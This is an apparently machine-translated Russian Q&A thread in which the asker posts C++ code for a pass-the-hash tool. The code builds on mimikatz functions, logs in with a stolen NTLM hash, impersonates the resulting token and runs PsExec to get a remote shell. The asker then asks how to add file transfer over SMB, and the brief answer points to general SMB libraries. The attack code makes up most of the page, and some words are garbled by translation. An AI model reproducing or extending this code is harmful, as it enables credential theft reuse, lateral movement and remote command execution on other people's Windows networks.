Подключение к Windows файловой системе сервера с SMB - PullRequest
0 голосов
/ 11 апреля 2020

Я написал программу на C ++, которая может порождать процесс аутентификации cmd.exe в рабочей группе. В дальнейшем я могу запустить программу psexe c .exe с этим аутентифицированным токеном для подключения к серверу.

    printf("\n\t");
    WarningMessage("%s\n", "Fill following information:");

    printf("\n\t\tUsername: ");
    wscanf(L"%ls", username);

    printf("\t\tDomain: ");
    wscanf(L"%ls", domain);

    printf("\t\tNTLM Hash: ");
    wscanf(L"%ls", hash_ntlm);

    printf("\t\tDestination IP: ");
    wscanf(L"%ls", ip_destination);

    wcscpy(process_name, TEXT("PSExec.exe \\\\"));
    wcscat(process_name, ip_destination);
    wcscat(process_name, TEXT(" cmd.exe"));

    if (kull_m_string_stringToHex(hash_ntlm, ntlm, LM_NTLM_HASH_LENGTH))
    {
        data.NtlmHash = ntlm;
    }
    else
    {
        printf("\t");
        ErrorMessage("%s\n", "ntlm hash/rc4 key length must be 32 (16 bytes)");
    }

    printf("\n\t");
    NormalMessage("%s\n", "PTH login to the Active Directory process has been started:");
    if (data.NtlmHash)
    {
        if (LoginWithActiveDirectory(KULL_M_PROCESS_CREATE_LOGON, process_name, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, username, domain, L"", &process_infos, FALSE))
        {
            printf("\n");

            PrintColorful(2, "\t\tPID: ");
            printf("%d\n", process_infos.dwProcessId);

            PrintColorful(2, "\t\tTID: ");
            printf("%d\n\n", process_infos.dwThreadId);

            if (OpenProcessToken(process_infos.hProcess, TOKEN_READ | (is_impersonate ? TOKEN_DUPLICATE : 0), &handle_token))
            {
                if (GetTokenInformation(handle_token, TokenStatistics, &token_status, sizeof(token_status), &needed_size))
                {
                    kuhl_m_sekurlsa_pth_luid(&data);
                    if (is_impersonate)
                    {
                        if (DuplicateTokenEx(handle_token, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, SecurityDelegation, TokenImpersonation, &handle_new_token))
                        {
                            if (SetThreadToken(NULL, handle_new_token))
                            {
                                NormalMessage("%s\n", "Token Impersonated.");
                            }
                            else
                            {
                                ErrorMessage("%s\n", "SetThreadToken failed.");
                                CloseHandle(handle_new_token);
                            }
                        }
                        else
                        {
                            ErrorMessage("%s\n", "DuplicateTokenEx failed.");
                            NtTerminateProcess(process_infos.hProcess, STATUS_SUCCESS);
                        }
                    }
                    else
                    {
                        NtResumeProcess(process_infos.hProcess);
                    }
                }
                else
                {
                    ErrorMessage("%s\n", "GetTokenInformation failed.");
                }
            }
            else
            {
                ErrorMessage("%s\n", "OpenProcessToken failed.");
            }
            CloseHandle(process_infos.hThread);
            CloseHandle(process_infos.hProcess);
            printf("\n");
        }
        else
        {
            printf("\n\t");
            ErrorMessage("%s\n", "PTH login to the Active Directory process has failed.");
        }
    }
    else
    {
        printf("\t");
        ErrorMessage("%s\n", "Missing some arguments for authentication.");
    }
}

Однако, когда psexe c .exe выполняется, он дает мне только среду командной строки для сервера, в которой я могу выполнить команду и увидеть результат обратно, но я хотел иметь возможность загрузить / Загрузить файлы с сервера.

Однако, к сожалению, я не знаю, как мне написать программу, которая позволяет мне загружать или загружать файлы на сервер даже после аутентификации.

Я искал и обнаружил, что мне следует использовать SMB / CIFS, но я не смог найти даже краткое введение, объясняющее, что я должен делать для реализации такой программы. Кто-то может поделиться информацией об этой проблеме?

1 Ответ

1 голос
/ 12 апреля 2020

Это зависит от операционной системы, которую вы используете для запуска вашей программы.

Windows: существует несколько Win API , которые вы можете использовать для подключения к запрошенному удаленному серверу.

Linux: вы можете использовать Samba - см. this для использования Samba в C ++ * Просто обратите внимание, что Samba является продуктом GPL3.

Любая ОС: есть коммерческая Лицензионный продукт под названием YNQ , который вы можете просмотреть, является базовым продуктом C, так что я не думаю, что вам будет сложно портировать на вашу программу.

...